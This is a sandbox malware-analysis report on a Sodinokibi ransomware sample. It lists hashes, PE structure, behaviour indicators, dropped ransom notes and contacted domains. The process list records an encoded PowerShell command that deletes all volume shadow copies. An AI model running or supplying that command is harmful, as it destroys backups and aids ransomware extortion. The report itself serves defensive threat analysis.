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File name:

svchost.exe

Full analysis: https://app.any.run/tasks/59c14e09-805f-4fea-8bd9-5fefbf176b5d
Verdict: Malicious activity
Threats:

Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying.

Analysis date: March 31, 2020, 00:24:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ransomware
sodinokibi
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

7CF68359A96E7822DB49A56783EFAAAF

SHA1:

0B92C2CDAA439AF4935A9F48584D1E77906DE89F

SHA256:

8D062EF67164E32810218EC6349ED426E52530202D76760CD7D32DB2736D59DC

SSDEEP:

3072:EJMawtnGqtWoKeZC62aoNUSncrZTihUmiUhZrltyV:+w9vteQJYUocrZYrvhdS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Sodinokibi ransom note found

      • svchost.exe (PID: 2720)
    • Changes the autorun value in the registry

      • svchost.exe (PID: 2720)
    • Renames files like Ransomware

      • svchost.exe (PID: 2720)
    • Changes settings of System certificates

      • svchost.exe (PID: 2720)
  • SUSPICIOUS

    • Creates files in the program directory

      • svchost.exe (PID: 2720)
    • Creates files in the user directory

      • powershell.exe (PID: 2380)
    • Creates files like Ransomware instruction

      • svchost.exe (PID: 2720)
    • Executed as Windows Service

      • vssvc.exe (PID: 3980)
    • Application launched itself

      • svchost.exe (PID: 3240)
    • Executed via COM

      • unsecapp.exe (PID: 2076)
      • DllHost.exe (PID: 3396)
      • DllHost.exe (PID: 3760)
      • DllHost.exe (PID: 3920)
      • DllHost.exe (PID: 2588)
    • Executes PowerShell scripts

      • svchost.exe (PID: 2720)
    • Reads Windows owner or organization settings

      • DllHost.exe (PID: 3396)
    • Reads the Windows organization settings

      • DllHost.exe (PID: 3396)
    • Adds / modifies Windows certificates

      • svchost.exe (PID: 2720)
  • INFO

    • Dropped object may contain Bitcoin addresses

      • svchost.exe (PID: 2720)
    • Dropped object may contain TOR URL's

      • svchost.exe (PID: 2720)
    • Manual execution by user

      • explorer.exe (PID: 3200)
    • Reads settings of System Certificates

      • svchost.exe (PID: 2720)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.dll | Win32 Dynamic Link Library (generic) (43.5)
.exe | Win32 Executable (generic) (29.8)
.exe | Generic Win/DOS Executable (13.2)
.exe | DOS Executable Generic (13.2)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 5.1
ImageVersion: -
OSVersion: 5.1
EntryPoint: 0x10b54
UninitializedDataSize: -
InitializedDataSize: 73216
CodeSize: 97280
LinkerVersion: 14
PEType: PE32
TimeStamp: 2020:03:14 20:08:13+01:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 14-Mar-2020 19:08:13

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000F8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 14-Mar-2020 19:08:13
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00017B44
0x00017C00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
7.61876
.rdata
0x00019000
0x00002B46
0x00002C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.88791
.data
0x0001C000
0x00002038
0x00001E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.50943
.iyaw
0x0001F000
0x0000C800
0x0000C800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
5.49759
.reloc
0x0002C000
0x00000648
0x00000800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
5.78743

Imports

KERNEL32.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
65
Monitored processes
10
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start svchost.exe no specs #SODINOKIBI svchost.exe powershell.exe no specs unsecapp.exe no specs vssvc.exe no specs explorer.exe no specs Shell Security Editor no specs PhotoViewer.dll no specs rshx32.dll no specs PhotoViewer.dll no specs

Process information

PID
CMD
Path
Indicators
Parent process
3240"C:\Users\admin\Desktop\svchost.exe" C:\Users\admin\Desktop\svchost.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2720"C:\Users\admin\Desktop\svchost.exe" C:\Users\admin\Desktop\svchost.exe
svchost.exe
User:
admin
Integrity Level:
HIGH
2380powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2076C:\Windows\system32\wbem\unsecapp.exe -EmbeddingC:\Windows\system32\wbem\unsecapp.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Sink to receive asynchronous callbacks for WMI client application
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3980C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exeservices.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3200"C:\Windows\explorer.exe" C:\Windows\explorer.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3760C:\Windows\system32\DllHost.exe /Processid:{4D111E08-CBF7-4F12-A926-2C7920AF52FC}C:\Windows\system32\DllHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2588C:\Windows\system32\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}C:\Windows\system32\DllHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3396C:\Windows\system32\DllHost.exe /Processid:{1F2E5C40-9550-11CE-99D2-00AA006E086C}C:\Windows\system32\DllHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3920C:\Windows\system32\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}C:\Windows\system32\DllHost.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
COM Surrogate
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 678
Read events
412
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
163
Text files
11
Unknown types
8

Dropped files

PID
Process
Filename
Type
2380powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GA9CS7XBQJM3TZMYIA4E.temp
MD5:
SHA256:
2720svchost.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi
MD5:
SHA256:
2720svchost.exeC:\users\public\462c7-readme.txtbinary
MD5:C608CA305464AE7D8D3912AD6120BB67
SHA256:C1FD3B0DED0A9E65255604B4C373C77CEC2F29EF3720FDAEDCF7BD5CFB4614E8
2720svchost.exeC:\users\admin\documents\462c7-readme.txtbinary
MD5:C608CA305464AE7D8D3912AD6120BB67
SHA256:C1FD3B0DED0A9E65255604B4C373C77CEC2F29EF3720FDAEDCF7BD5CFB4614E8
2380powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFa68b31.TMPbinary
MD5:3B712DE36DC1672EC51A90C5EE31744F
SHA256:DDE2E429BD6DAA8AA6C9FED090F7C8B96BB95A0AD3E53FE900F99F21E3780AA1
2720svchost.exeC:\462c7-readme.txtbinary
MD5:C608CA305464AE7D8D3912AD6120BB67
SHA256:C1FD3B0DED0A9E65255604B4C373C77CEC2F29EF3720FDAEDCF7BD5CFB4614E8
2720svchost.exeC:\users\admin\contacts\462c7-readme.txtbinary
MD5:C608CA305464AE7D8D3912AD6120BB67
SHA256:C1FD3B0DED0A9E65255604B4C373C77CEC2F29EF3720FDAEDCF7BD5CFB4614E8
2720svchost.exec:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi.462c7binary
MD5:2BA7635DBF89E3C849FC84A90289E444
SHA256:99DA450244608268F1C8F038FF5B08D6D6CF200384241E2337B1BAA7B85BEA5D
2720svchost.exeC:\recovery\462c7-readme.txtbinary
MD5:C608CA305464AE7D8D3912AD6120BB67
SHA256:C1FD3B0DED0A9E65255604B4C373C77CEC2F29EF3720FDAEDCF7BD5CFB4614E8
2720svchost.exeC:\users\administrator\462c7-readme.txtbinary
MD5:C608CA305464AE7D8D3912AD6120BB67
SHA256:C1FD3B0DED0A9E65255604B4C373C77CEC2F29EF3720FDAEDCF7BD5CFB4614E8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
261
DNS requests
207
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2720
svchost.exe
GET
304
23.55.163.75:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
56.0 Kb
whitelisted
2720
svchost.exe
GET
200
23.55.163.75:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
56.0 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2720
svchost.exe
192.0.78.13:443
transliminaltribe.wordpress.com
Automattic, Inc
US
malicious
2720
svchost.exe
198.54.116.129:443
aminaboutique247.com
Namecheap, Inc.
US
suspicious
2720
svchost.exe
79.137.75.185:443
n1-headache.com
OVH SAS
FR
suspicious
2720
svchost.exe
157.7.156.136:443
gw2guilds.org
GMO Internet,Inc
JP
malicious
2720
svchost.exe
151.101.2.159:443
centuryrs.com
Fastly
US
unknown
2720
svchost.exe
164.132.235.17:443
groupe-frayssinet.fr
OVH SAS
FR
malicious
2720
svchost.exe
162.243.165.239:443
onlyresultsmarketing.com
Digital Ocean, Inc.
US
suspicious
2720
svchost.exe
212.83.139.44:443
philippedebroca.com
Online S.a.s.
FR
suspicious
2720
svchost.exe
132.148.36.74:443
oceanastudios.com
GoDaddy.com, LLC
US
suspicious
2720
svchost.exe
104.27.189.62:443
deschl.net
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
aminaboutique247.com
  • 198.54.116.129
suspicious
35-40konkatsu.net
malicious
onlyresultsmarketing.com
  • 162.243.165.239
suspicious
transliminaltribe.wordpress.com
  • 192.0.78.13
  • 192.0.78.12
suspicious
centuryrs.com
  • 151.101.2.159
malicious
n1-headache.com
  • 79.137.75.185
suspicious
oceanastudios.com
  • 132.148.36.74
suspicious
gw2guilds.org
  • 157.7.156.136
malicious
groupe-frayssinet.fr
  • 164.132.235.17
unknown
philippedebroca.com
  • 212.83.139.44
unknown

Threats

PID
Process
Class
Message
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
2720
svchost.exe
Potentially Bad Traffic
ET INFO TLS Handshake Failure
No debug info